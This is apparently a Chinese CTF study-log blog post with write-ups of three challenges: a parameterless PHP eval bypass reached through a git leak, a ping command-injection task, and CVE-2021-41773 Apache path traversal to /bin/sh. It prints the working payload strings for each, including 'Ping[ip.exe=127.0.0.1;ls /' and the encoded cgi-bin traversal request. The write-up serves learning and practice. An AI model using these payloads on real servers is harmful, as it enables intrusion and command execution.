4月9日学习记录

GXYCTF 2019禁止套娃

涉及知识点:git泄露,无参数RCE

打开环境,源码什么的都没有,扫描后台看看

扫描发现存在git泄露

用githack下载查看得到一串源码

复制代码
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

又看见了';',很明显的无参数绕过了,但是还是不考虑getallheaders,因为不清楚环境条件,所以一般不使用,还是选择利用php函数来绕过;

php的伪协议被过滤了,还有一些数学函数也被过滤了,就老实利用php函数来绕过了

localeconv() -- 函数返回一个包含本地数字及货币格式信息的数组 第一个是.

pos() -- 返回数组中的当前单元, 默认取第一个值

next -- 将内部指针指向数组下一个元素并输出

scandir() -- 扫描目录

array_reverse() -- 翻转数组

array_flip() - 键名与数组值对调

readfile()

array_rand() - 随机读取键名

var_dump() - 输出数组,可以用print_r替代

file_get_contents() - 读取文件内容,show_source,highlight_file echo 可代替

get_defined_vars() - 返回由所有已定义变量所组成的数组

end() - 读取数组最后一个元素

current() - 读取数组的第一个元

参数是exp,开始传参

复制代码
exp=var_dump(localeconv());

返回当前单元,也就是"."下的内容

复制代码
exp=var_dump(pos(localeconv()));

扫描目录下内容,看见flag.php了,快了

复制代码
exp=var_dump(scandir(pos(localeconv())));

因为flag.php位置是倒数第二个,所以采取翻转数组,在改变内置指针的指向来读取flag

复制代码
exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));

读取flag.php,这里用的是show_source命令

复制代码
exp=var_dump(show_source(next(array_reverse(scandir(pos(localeconv()))))));

SWPUCTF 2023 秋季新生赛Pingpingping

源码

需要传入Ping_ip.exe的参数,但是在网页传参以后,"_"会被替换成".",所以用[替换后能正常传参(Ping[ip.exe=127.0.0.1" 是一个Ping命令,用于测试与目标IP地址的网络连接。在这种情况下,目标IP地址是本地回环地址(127.0.0.1),表示测试本机的网络连接。)

ping-c3,给了三个ping回显工具,那么到这里后面进正常进行命令执行

复制代码
Ping[ip.exe=127.0.0.1;ls /

看见flag了,cat就行

NSSRound#4 SWPUez_rce

CVE-2021-41773(Apache HTTP Server路径穿越漏洞)
同时如果Apache HTTPd 开启了 cgi 支持,攻击者可构造恶意请求执行命令,控制服务器。
条件:
配置目录遍历,并且开启cgi mode 2.Apache HTTPd版本为2.4.49/2.4.50 3.存在cgi-bin和icons文件夹;而且/icons/必需是一个可以访问的文件夹
利用 :
抓包构造post传参,传入.%2e/的形式,来绕过对于路径穿越符的检测,在cgi-bin服务器上执行命令执行查看目录
复制代码
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

打开环境,什么都没有,标签说是CVE泄露,在Apache环境下存在CVE-2021-41773

所以通过抓包,修改传参来绕过

查看flag,但是这里会发现直接查看flag_is_here没有回显,一个一个尝试,在run.sh里面发现线索,有些wp说根据经验知道有个四层文件夹迷宫,然后去爆破四层迷宫,这里查看run.sh也是一样的

看见真正的位置了

相关推荐
坤坤子吖4 小时前
Linux网络编程:TCP服务器的多进程与多线程实现
linux·服务器·开发语言·网络·c++·笔记·学习
蒸蒸yyyyzwd6 小时前
后端相关学习笔记。
笔记·学习
旖旎夜光7 小时前
【C++ 基础入门】C++ 多态(上):虚函数、重写、override/final 与抽象类
开发语言·c++·笔记·学习
橙橙笔记9 小时前
QT的学习第四部分
linux·qt·学习·音视频
叼烟扛炮9 小时前
Linux 学习笔记(五十四):内网穿透实战——用 frp 让外网访问你的私人电脑
linux·服务器·网络·笔记·学习
在猴站学算法9 小时前
(《统计学习方法》(第2版) 李航)第2章 感知机算法
学习·算法·机器学习·统计学习
旖旎夜光10 小时前
【C++ 基础入门】C++ 继承(上):概念、切片、隐藏、默认成员函数与友元
c++·笔记·学习
Godspeed Zhao10 小时前
从零开始学AI24——无监督学习之K均值
学习·机器学习
叼烟扛炮10 小时前
[LangChain] 学习笔记(05):提示词模板(Prompt)与少样本注入(Few-Shot)实战
linux·人工智能·笔记·学习·langchain·prompt
La Pulga1 天前
【FreeRTOS源码学习笔记】任务延时列表
笔记·mcu·学习·嵌入式·freertos·实时操作系统